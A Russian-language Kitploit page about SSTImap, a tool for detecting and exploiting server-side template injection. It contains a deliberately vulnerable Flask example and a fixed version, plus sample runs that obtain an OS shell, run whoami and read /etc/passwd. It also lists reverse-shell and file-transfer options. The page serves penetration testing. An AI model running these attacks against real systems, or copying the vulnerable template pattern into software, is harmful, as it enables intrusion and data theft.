SSTImap — Автоматический инструмент обнаружения SSTI с интерактивным интерфейсом | Kitploit

Добавлены две новые техники для обнаружения и эксплуатации SSTI
Интерактивный режим (-i), обеспечивающий более лёгкую эксплуатацию и обнаружение
Простые оценочные полезные нагрузки в качестве маркеров ответа в случае отражения полезной нагрузки
Добавлены новые полезные нагрузки для универсальных шаблонов, для тестирования всех контекстов используйте --generic
Универсальное обнаружение внедрения шаблонов с помощью модуля Eval_generic
Выполнение оболочки (eval()-подобной) на базовом языке (-x) или одиночной команды (-X)
Слепая загрузка файлов теперь поддерживает подтверждение MD5 и проверку существования файла
Добавлены новые полезные нагрузки для большего количества шаблонов и обновлены многие существующие
Модульная структура плагинов, позволяющая установку дополнительных плагинов
Поддержка различных типов данных POST
Добавлены обход сайта (crawling) и обнаружение форм
Добавлены короткие версии для многих аргументов
Некоторые старые аргументы командной строки были изменены, проверьте -h для справки
Код изменён для использования более новых возможностей Python
Расширение Burp Suite временно удалено, так как Jython не поддерживает Python3

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Engine	RCE	Tech	Language	Type
Freemarker	✓	REBT	Java	Default
Java generic EL injections	✓	REBT	Java	Default
OGNL (Object-Graph Navigation Language code eval)	✓	REBT	Java	Default
Velocity	✓	REBT	Java	Default
Nunjucks	✓	REBT	JavaScript	Default
Velocity.js	✓	REBT	JavaScript	Default
JavaScript (code eval)	✓	REBT	JavaScript	Default
JavaScript-based generic templates	✓	REBT	JavaScript	Default
Twig (>=1.41; >=2.10; >=3.0)	✓	REBT	PHP	Default
PHP (code eval)	✓	REBT	PHP	Default
PHP-based generic templates	✓	REBT	PHP	Default
Jinja2	✓	REBT	Python	Default
Python (code eval)	✓	REBT	Python	Default
Python-based generic templates	✓	REBT	Python	Default
ERB	✓	REBT	Ruby	Default
Mustache (<=1.1.2; detection only)	×	reb_	Ruby	Default
Slim	✓	REBT	Ruby	Default
Ruby (code eval)	✓	REBT	Ruby	Default
Generic evaluating templates	×	Reb_	*	Default
SpEL (Spring EL code eval)	✓	REBT	Java	Generic
doT	✓	REBT	JavaScript	Generic

SSTImap

Популярное

Ключевые отличия от Tplmap

Server-Side Template Injection

Предопределённый режим

Интерактивный режим

Поддерживаемые шаблонизаторы

Плагин Burp Suite

Планы на будущее